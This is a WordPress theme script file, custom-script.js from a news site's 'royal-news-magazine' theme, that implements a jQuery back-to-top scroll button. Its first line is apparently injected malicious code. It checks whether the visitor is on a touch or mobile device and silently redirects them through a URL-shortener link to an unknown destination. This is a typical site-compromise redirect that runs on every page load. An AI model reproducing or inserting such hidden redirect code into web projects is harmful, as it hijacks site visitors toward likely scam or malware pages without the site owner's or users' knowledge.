File: //home2/gazetufm/gjilan.al/wp-content/themes/royal-news-magazine/js/custom-script.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
jQuery(document).ready(function () {
function checkScroll() {
if (jQuery(window).scrollTop() > 300) {
jQuery('#back-to-top').fadeIn();
} else {
jQuery('#back-to-top').fadeOut();
}
};
checkScroll();
jQuery(window).scroll(function () {
checkScroll();
});
jQuery('#back-to-top').click(function () {
jQuery('html, body').animate({ scrollTop: 0 }, 800);
return false;
});
});